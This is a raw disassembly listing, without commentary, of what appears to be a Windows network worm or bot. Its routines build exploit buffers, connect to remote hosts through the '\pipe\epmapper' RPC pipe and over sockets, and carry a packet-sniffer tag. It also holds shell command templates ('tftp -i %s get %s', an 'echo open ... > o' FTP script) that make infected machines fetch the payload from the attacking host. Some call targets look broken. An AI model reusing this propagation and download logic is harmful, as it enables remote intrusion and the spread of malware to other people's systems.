		cmp	[ebp+var_28], esi
		jnz	short loc_402841
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40D679
		add	esp, 14h

loc_402841:				; CODE XREF: sub_402688+197j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	edi
		call	dword_43AE30
		push	[ebp+var_30]
		call	sub_417078
		pop	ecx
		push	esi
		nop
		call	near ptr 26101F3h

loc_402865:				; CODE XREF: sub_402688+177j
		push	ebx
		mov	ebx, offset dword_426C78

loc_40286B:				; CODE XREF: sub_402688+21Bj
					; sub_402688+22Dj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_102B4]
		push	edi
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_102B4]
		push	esi
		push	edi
		push	eax
		push	[ebp+var_4]
		call	dword_43ADB0
		cmp	eax, 0FFFFFFFFh
		jz	loc_40297D
		cmp	[ebp+var_102AB], 6
		jnz	short loc_40286B
		mov	eax, [ebp+var_102A8]
		cmp	[ebp+var_10293], 18h
		mov	[ebp+var_C], eax
		jnz	short loc_40286B
		lea	eax, [ebp+var_1028C]
		push	offset aPsniff	; "[PSNIFF]"
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40286B
		mov	eax, ebx
		xor	edi, edi
		test	eax, eax
		jz	short loc_40286B
		mov	[ebp+arg_0], ebx

loc_4028D9:				; CODE XREF: sub_402688+26Cj
		push	eax
		lea	eax, [ebp+var_1028C]
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4028FB
		inc	edi
		add	[ebp+arg_0], 18h
		mov	eax, [ebp+arg_0]
		jnz	short loc_4028D9
		jmp	loc_40286B
; ---------------------------------------------------------------------------

loc_4028FB:				; CODE XREF: sub_402688+262j
		lea	eax, [ebp+var_1028C]
		push	eax
		push	[ebp+var_102A0]
		call	dword_43ACD4
		movzx	eax, ax
		push	eax
		push	[ebp+var_C]
		call	dword_43AE24
		push	eax
		lea	eax, [edi+edi*2]
		mov	eax, dword_426C8C[eax*8]
		push	off_426C68[eax*4]
		lea	eax, [ebp+var_2B4]
		push	offset unk_427528
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 1Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_40296B
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40D679
		add	esp, 14h

loc_40296B:				; CODE XREF: sub_402688+2C1j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		jmp	loc_40286B
; ---------------------------------------------------------------------------

loc_40297D:				; CODE XREF: sub_402688+20Ej
		call	dword_43AD2C
		push	eax
		push	offset unk_4274E4
		lea	eax, [ebp+var_2B4]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 10h
		cmp	[ebp+var_28], esi
		pop	ebx
		jnz	short loc_4029C3
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40D679
		add	esp, 14h

loc_4029C3:				; CODE XREF: sub_402688+319j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	[ebp+var_4]
		call	dword_43AE30
		push	[ebp+var_30]
		call	sub_417078
		pop	ecx
		push	esi
		nop
		call	near ptr 26101F3h
sub_402688	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4029E9	proc near		; CODE XREF: sub_402DD7+28p

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset off_427B6C
		lea	edi, [ebp+var_C]
		mov	ecx, 8Ah
		movsd
		movsd
		movsd
		mov	esi, offset asc_427B64 ; "\\\\"
		lea	edi, [ebp+var_354]
		movsd
		movsw
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		rep stosd
		stosw
		mov	al, byte_436EDC
		push	45h
		mov	[ebp+var_124], al
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_123]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		push	0FFh
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		xor	edi, edi
		push	edi
		push	edi
		call	near ptr 2630000h
		nop
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_417B5F
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_417B5F
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_354]
		add	esp, 10h
		mov	[esi+14h], eax
		mov	eax, offset dword_436ED8
		push	edi
		push	eax
		push	eax
		push	esi
		mov	[esi+4], edi
		mov	[esi+10h], edi
		mov	[esi+1Ch], edi
		call	dword_43AE38
		cmp	eax, 5
		mov	ebx, 4C3h
		jz	short loc_402AAD
		cmp	eax, ebx
		jnz	short loc_402AB7

loc_402AAD:				; CODE XREF: sub_4029E9+BEj
		push	edi
		push	edi
		push	edi
		push	esi
		call	dword_43AE38

loc_402AB7:				; CODE XREF: sub_4029E9+C2j
		cmp	eax, 5
		jz	short loc_402AC5
		cmp	eax, ebx
		jz	short loc_402AC5
		push	1
		pop	eax
		jmp	short loc_402AC7
; ---------------------------------------------------------------------------

loc_402AC5:				; CODE XREF: sub_4029E9+D1j
					; sub_4029E9+D5j
		xor	eax, eax

loc_402AC7:				; CODE XREF: sub_4029E9+DAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4029E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402ACC	proc near		; CODE XREF: sub_402DD7+7Ap
					; sub_402DD7+15Ap

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	esi
		push	edi
		mov	esi, offset off_427B6C
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		mov	esi, offset asc_427B64 ; "\\\\"
		lea	edi, [ebp+var_354]
		movsd
		movsw
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		push	45h
		rep stosd
		stosw
		mov	al, byte_436EDC
		pop	ecx
		mov	[ebp+var_124], al
		xor	eax, eax
		lea	edi, [ebp+var_123]
		push	0FFh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		xor	esi, esi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	esi
		nop
		call	near ptr 2630000h
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_417B5F
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_417B5F
		add	esp, 10h

loc_402B5D:				; CODE XREF: sub_402ACC+AFj
		push	esi
		lea	eax, [ebp+var_354]
		push	esi
		push	eax
		call	dword_43ACD8
		test	eax, eax
		jz	short loc_402B7D
		push	7D0h
		call	near ptr 2610E42h
		nop
		jmp	short loc_402B5D
; ---------------------------------------------------------------------------

loc_402B7D:				; CODE XREF: sub_402ACC+A2j
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_402ACC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402B84	proc near		; CODE XREF: sub_402DD7+A9p
					; sub_402DD7+1E7p

var_3004	= byte ptr -3004h
var_2004	= byte ptr -2004h
var_1FE0	= byte ptr -1FE0h
var_1FD4	= byte ptr -1FD4h
var_1F2D	= byte ptr -1F2Dh
var_1004	= byte ptr -1004h
var_FFC		= dword	ptr -0FFCh
var_FF4		= dword	ptr -0FF4h
var_F84		= dword	ptr -0F84h
var_F80		= dword	ptr -0F80h
var_F50		= dword	ptr -0F50h
var_F4C		= dword	ptr -0F4Ch
var_F34		= dword	ptr -0F34h
var_E78		= dword	ptr -0E78h
var_CA4		= dword	ptr -0CA4h
var_C9C		= dword	ptr -0C9Ch
var_C94		= byte ptr -0C94h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h
arg_C4		= dword	ptr  0CCh

		push	ebp
		mov	ebp, esp
		mov	eax, 3004h
		call	sub_417B30
		push	esi
		push	edi
		push	offset byte_42F674
		mov	esi, 0A7h
		push	[ebp+arg_0]
		mov	[ebp+var_4], esi
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3004]
		push	1000h
		push	eax
		call	sub_416BCD
		mov	edi, eax
		add	esp, 10h
		test	edi, edi
		jz	loc_402DD3
		push	ebx
		mov	ebx, offset off_427A80
		push	30h
		lea	eax, [ebp+var_2004]
		push	ebx
		push	eax
		call	sub_417390
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_417330
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+var_1F2D]
		push	eax
		call	sub_417390
		add	esp, 24h
		lea	esi, [edi+0D7h]

loc_402C09:				; CODE XREF: sub_402B84+D3j
		mov	eax, esi
		push	10h
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 0Ch
		jz	short loc_402C59
		mov	esi, [ebp+var_4]
		push	30h
		lea	eax, [ebp+var_2004]
		inc	esi
		push	ebx
		push	eax
		mov	[ebp+var_4], esi
		call	sub_417390
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_417330
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+esi+var_1FD4]
		push	eax
		call	sub_417390
		add	esp, 24h
		lea	esi, [esi+edi+30h]
		jmp	short loc_402C09
; ---------------------------------------------------------------------------

loc_402C59:				; CODE XREF: sub_402B84+90j
		cmp	[ebp+arg_C4], 0
		jz	short loc_402C74
		cmp	[ebp+arg_C0], 3
		jz	short loc_402C7D
		cmp	[ebp+arg_C0], 0
		jmp	short loc_402C7B
; ---------------------------------------------------------------------------

loc_402C74:				; CODE XREF: sub_402B84+DCj
		cmp	[ebp+arg_C0], 3

loc_402C7B:				; CODE XREF: sub_402B84+EEj
		jnz	short loc_402C86

loc_402C7D:				; CODE XREF: sub_402B84+E5j
		push	4
		push	offset dword_427B60
		jmp	short loc_402C8D
; ---------------------------------------------------------------------------

loc_402C86:				; CODE XREF: sub_402B84:loc_402C7Bj
		push	4
		push	offset dword_427B5C

loc_402C8D:				; CODE XREF: sub_402B84+100j
		lea	eax, [ebp+var_1FE0]
		push	eax
		call	sub_417390
		add	esp, 0Ch
		lea	eax, [ebp+var_1004]
		push	360h
		push	offset dword_427694
		push	eax
		call	sub_417390
		push	10h
		lea	eax, [ebp+var_CA4]
		push	offset dword_4279F8
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_2004]
		push	esi
		push	eax
		lea	eax, [ebp+var_C94]
		push	eax
		call	sub_417390
		lea	edi, [esi+370h]
		push	3Ch
		push	offset off_427A0C
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_417390
		add	edi, 3Ch
		push	30h
		push	offset dword_427A4C
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_417390
		mov	eax, esi
		add	edi, 30h
		cdq
		sub	eax, edx
		sar	eax, 1
		add	[ebp+var_CA4], eax
		add	[ebp+var_C9C], eax
		mov	eax, [ebp+var_FFC]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FFC], eax
		mov	eax, [ebp+var_FF4]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_F84]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F84], eax
		mov	eax, [ebp+var_F80]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F80], eax
		mov	eax, [ebp+var_F50]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F50], eax
		mov	eax, [ebp+var_F4C]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F4C], eax
		mov	eax, [ebp+var_F34]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F34], eax
		mov	eax, [ebp+var_E78]
		lea	eax, [eax+esi-0Ch]
		lea	esi, [edi+1]
		push	esi
		mov	[ebp+var_E78], eax
		call	sub_417B89
		add	esp, 40h
		mov	ebx, eax
		push	esi
		push	0
		push	ebx
		call	sub_417330
		lea	eax, [ebp+var_1004]
		push	edi
		push	eax
		push	ebx
		call	sub_417390
		mov	eax, [ebp+arg_BC]
		add	esp, 18h
		mov	[eax], edi
		mov	eax, ebx
		pop	ebx

loc_402DD3:				; CODE XREF: sub_402B84+3Ej
		pop	edi
		pop	esi
		leave
		retn
sub_402B84	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402DD7	proc near		; CODE XREF: sub_407767+1EAp
					; DATA XREF: ___:off_42ACB4o

var_1338	= byte ptr -1338h
var_338		= byte ptr -338h
var_138		= byte ptr -138h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		mov	eax, 1338h
		call	sub_417B30
		cmp	[ebp+arg_A0], 1BDh
		push	ebx
		push	esi
		push	edi
		jnz	loc_402F45
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_4029E9
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403055
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_138]
		push	offset aSPipeEpmapper ;	"\\\\%s\\pipe\\epmapper"
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		xor	ebx, ebx
		lea	eax, [ebp+var_138]
		push	ebx
		push	80h
		push	3
		push	ebx
		push	1
		push	0C0000000h
		push	eax
		nop
		call	near ptr 2660802h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_402E5C

loc_402E4D:				; CODE XREF: sub_402DD7+126j
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_402ACC
		pop	ecx
		jmp	loc_403055
; ---------------------------------------------------------------------------

loc_402E5C:				; CODE XREF: sub_402DD7+74j
		lea	eax, [ebp+arg_4]
		push	2
		push	eax
		call	sub_40D4C5
		pop	ecx
		lea	esi, [ebp+arg_0]
		pop	ecx
		push	1
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_402B84
		add	esp, 0C8h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	short loc_402EF4
		mov	edi, 186A0h
		push	edi
		call	sub_417B89
		mov	esi, eax
		push	edi
		push	ebx
		push	esi
		call	sub_417330
		add	esp, 10h
		lea	eax, [ebp+var_C]
		mov	edi, 2710h
		push	ebx
		push	eax
		push	edi
		push	esi
		push	48h
		push	offset dword_427648
		push	[ebp+var_4]
		call	near ptr 2660000h
		nop
		cmp	byte ptr [esi+2], 0Ch
		jnz	short loc_402EE4
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_8]
		push	[ebp+var_4]
		nop
		call	near ptr 2650000h
		test	eax, eax
		jnz	short loc_402F02

loc_402EE4:				; CODE XREF: sub_402DD7+F3j
		push	esi
		call	sub_417C3B
		push	[ebp+var_8]
		call	sub_417C3B
		pop	ecx
		pop	ecx

loc_402EF4:				; CODE XREF: sub_402DD7+B9j
		push	[ebp+var_4]
		nop
		call	near ptr 2640811h
		jmp	loc_402E4D
; ---------------------------------------------------------------------------

loc_402F02:				; CODE XREF: sub_402DD7+10Bj
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		push	edi
		push	esi
		push	[ebp+var_4]
		nop
		call	near ptr 2640000h
		push	[ebp+var_8]
		mov	edi, eax
		call	sub_417C3B
		push	esi
		call	sub_417C3B
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		nop
		call	near ptr 2640811h
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_402ACC
		cmp	edi, 1
		pop	ecx
		jnz	loc_403066
		jmp	loc_403055
; ---------------------------------------------------------------------------

loc_402F45:				; CODE XREF: sub_402DD7+1Aj
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		call	sub_40D4C5
		mov	esi, eax
		pop	ecx
		cmp	esi, 1
		pop	ecx
		jz	loc_403055
		xor	ebx, ebx
		push	ebx
		push	1
		push	2
		call	dword_43AE18
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_403055
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+arg_A0]
		call	dword_43AD98
		mov	[ebp+var_22], ax
		lea	eax, [ebp+arg_4]
		push	eax
		call	dword_43ADD8
		mov	[ebp+var_20], eax
		push	ebx
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_402B84
		mov	esi, eax
		add	esp, 0C8h
		cmp	esi, ebx
		mov	[ebp+var_8], esi
		jnz	short loc_402FD7
		push	[ebp+var_4]
		jmp	short loc_40304F
; ---------------------------------------------------------------------------

loc_402FD7:				; CODE XREF: sub_402DD7+1F9j
		mov	edi, [ebp+var_4]
		lea	eax, [ebp+var_24]
		push	10h
		push	eax
		push	edi
		call	dword_43AD40
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_402FEF

loc_402FEC:				; CODE XREF: sub_402DD7+22Aj
		push	esi
		jmp	short loc_403048
; ---------------------------------------------------------------------------

loc_402FEF:				; CODE XREF: sub_402DD7+213j
		push	ebx
		push	48h
		push	offset dword_427648
		push	edi
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402FEC
		mov	esi, 1000h
		push	ebx
		lea	eax, [ebp+var_1338]
		push	esi
		push	eax
		push	edi
		call	dword_43ADB0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	edi
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403030
		push	[ebp+var_8]
		jmp	short loc_403048
; ---------------------------------------------------------------------------

loc_403030:				; CODE XREF: sub_402DD7+252j
		push	ebx
		lea	eax, [ebp+var_1338]
		push	esi
		push	eax
		push	edi
		call	dword_43ADB0
		push	[ebp+var_8]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403059

loc_403048:				; CODE XREF: sub_402DD7+216j
					; sub_402DD7+257j
		call	sub_417C3B
		pop	ecx
		push	edi

loc_40304F:				; CODE XREF: sub_402DD7+1FEj
		call	dword_43AE30

loc_403055:				; CODE XREF: sub_402DD7+31j
					; sub_402DD7+80j ...
		xor	eax, eax
		jmp	short loc_4030C7
; ---------------------------------------------------------------------------

loc_403059:				; CODE XREF: sub_402DD7+26Fj
		call	sub_417C3B
		pop	ecx
		push	edi
		call	dword_43AE30

loc_403066:				; CODE XREF: sub_402DD7+163j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_338]
		push	offset unk_427B78
		push	eax
		call	sub_4172B0
		add	esp, 0Ch

loc_40307E:				; CODE XREF: sub_402DD7+2C7j
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_40C04D
		test	eax, eax
		pop	ecx
		jnz	short loc_4030A2
		push	1388h
		nop
		call	near ptr 2610E42h
		inc	ebx
		cmp	ebx, 6
		jl	short loc_40307E
		jmp	short loc_4030C4
; ---------------------------------------------------------------------------

loc_4030A2:				; CODE XREF: sub_402DD7+2B6j
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_40BF6D
		mov	eax, [ebp+arg_A8]
		pop	ecx
		imul	eax, 3Ch
		inc	dword_42ACB8[eax]
		lea	eax, dword_42ACB8[eax]

loc_4030C4:				; CODE XREF: sub_402DD7+2C9j
		push	1
		pop	eax

loc_4030C7:				; CODE XREF: sub_402DD7+280j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402DD7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4030CC	proc near		; DATA XREF: ___:00426004o
		jmp	$+5
sub_4030CC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4030D1	proc near
		push	0BB80h
		push	76Ch
		call	sub_415450
		pop	ecx
		mov	dword_436EE0, eax
		pop	ecx
		retn
sub_4030D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4030E8	proc near		; CODE XREF: sub_403249+42Ap

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_43ADD8
		mov	[ebp+var_C], eax
		mov	ax, word ptr dword_436EE0
		push	eax
		call	dword_43AD98
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_43AE18
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_403222
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_43AD40
		cmp	eax, 0FFFFFFFFh
		jz	loc_403222
		push	esi
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_43ADB0
		mov	esi, offset byte_42F674
		push	esi
		push	esi
		push	[ebp+arg_0]
		call	sub_40AEE0
		pop	ecx
		mov	edi, 190h
		push	eax
		push	offset aTftpISGetS ; "tftp -i %s get %s\r\n"
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 18h
		push	esi
		push	esi
		push	dword_436F0C
		push	[ebp+arg_0]
		call	sub_40AEE0
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403222
		push	1F4h
		nop
		call	near ptr 2610E42h
		push	esi
		push	offset dword_428598
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403226

loc_403222:				; CODE XREF: sub_4030E8+51j
					; sub_4030E8+67j ...
		xor	al, al
		jmp	short loc_403244
; ---------------------------------------------------------------------------

loc_403226:				; CODE XREF: sub_4030E8+138j
		push	0
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_43ADB0
		push	ebx
		call	dword_43AE30
		mov	al, 1

loc_403244:				; CODE XREF: sub_4030E8+13Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4030E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403249	proc near		; CODE XREF: ___:004037ADp
					; ___:004037CFp

var_89B4	= byte ptr -89B4h
var_894C	= byte ptr -894Ch
var_68DC	= byte ptr -68DCh
var_686C	= byte ptr -686Ch
var_5DA8	= byte ptr -5DA8h
var_4804	= byte ptr -4804h
var_4803	= byte ptr -4803h
var_3770	= byte ptr -3770h
var_2CAC	= byte ptr -2CACh
var_2CAB	= byte ptr -2CABh
var_2CA8	= byte ptr -2CA8h
var_2C2C	= byte ptr -2C2Ch
var_245C	= byte ptr -245Ch
var_1FB1	= byte ptr -1FB1h
var_1CC4	= byte ptr -1CC4h
var_14E0	= byte ptr -14E0h
var_14D0	= byte ptr -14D0h
var_11AC	= byte ptr -11ACh
var_11A8	= byte ptr -11A8h
var_119C	= byte ptr -119Ch
var_F14		= byte ptr -0F14h
var_E74		= byte ptr -0E74h
var_768		= dword	ptr -768h
var_758		= byte ptr -758h
var_744		= byte ptr -744h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_B4		= byte ptr -0B4h
var_B1		= byte ptr -0B1h
var_87		= byte ptr -87h
var_85		= byte ptr -85h
var_84		= byte ptr -84h
var_3C		= byte ptr -3Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h

		push	ebp
		mov	ebp, esp
		mov	eax, 89B4h
		call	sub_417B30
		mov	eax, dword_428634
		push	ebx
		mov	[ebp+var_10], eax
		mov	eax, dword_428638
		mov	[ebp+var_C], eax
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		lea	eax, [ebp+var_3C]
		push	offset loc_428628
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		xor	ebx, ebx
		xor	esi, esi
		lea	eax, [ebp+var_103]

loc_403288:				; CODE XREF: sub_403249+4Ej
		mov	cl, [ebp+esi+var_3C]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, 28h
		jl	short loc_403288
		push	60h
		lea	eax, [ebp+var_B4]
		push	offset dword_4280B8
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_417AB0
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		call	sub_417390
		add	esp, 1Ch
		lea	eax, [ebp+var_3C]
		push	9
		push	(offset	aC+3)
		push	eax
		call	sub_417AB0
		pop	ecx
		lea	eax, [ebp+eax*2+var_85]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_417AB0
		add	al, 1Ah
		push	1
		shl	al, 1
		mov	[ebp+var_1], al
		lea	eax, [ebp+var_1]
		push	eax
		lea	eax, [ebp+var_B1]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_417AB0
		shl	al, 1
		add	al, 9
		push	1
		mov	[ebp+var_2], al
		lea	eax, [ebp+var_2]
		push	eax
		lea	eax, [ebp+var_87]
		push	eax
		call	sub_417390
		mov	ax, word ptr dword_436EE0
		add	esp, 2Ch
		push	eax
		call	dword_43AD98
		xor	eax, 9999h
		push	2
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_427DB8
		call	sub_417390
		add	esp, 0Ch
		cmp	[ebp+arg_C0], ebx
		jz	loc_403445
		mov	edi, 0DACh
		lea	eax, [ebp+var_1CC4]
		push	edi
		push	90h
		push	eax
		call	sub_417330
		mov	eax, [ebp+arg_C0]
		push	4
		imul	eax, 3Ch
		lea	eax, dword_4284E0[eax]
		mov	[ebp+var_14], eax
		push	eax
		lea	eax, [ebp+var_14E0]
		push	eax
		call	sub_417390
		mov	esi, offset loc_427D08
		push	esi
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_14D0]
		push	esi
		push	eax
		call	sub_417390
		push	4
		lea	eax, [ebp+var_11AC]
		push	offset loc_428620
		push	eax
		call	sub_417390
		push	4
		lea	eax, [ebp+var_11A8]
		push	[ebp+var_14]
		push	eax
		call	sub_417390
		add	esp, 40h
		push	esi
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_119C]
		push	esi
		push	eax
		call	sub_417390
		add	esp, 10h
		xor	esi, esi
		lea	eax, [ebp+var_4803]

loc_4033FE:				; CODE XREF: sub_403249+1C6j
		mov	cl, [ebp+esi+var_1CC4]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, edi
		jl	short loc_4033FE
		mov	esi, 1C52h
		lea	eax, [ebp+var_89B4]
		push	esi
		push	31h
		push	eax
		mov	[ebp+var_2CAC],	bl
		mov	[ebp+var_2CAB],	bl
		call	sub_417330
		push	esi
		lea	eax, [ebp+var_68DC]
		push	31h
		push	eax
		call	sub_417330
		add	esp, 18h
		jmp	short loc_40349C
; ---------------------------------------------------------------------------

loc_403445:				; CODE XREF: sub_403249+118j
		push	7D0h
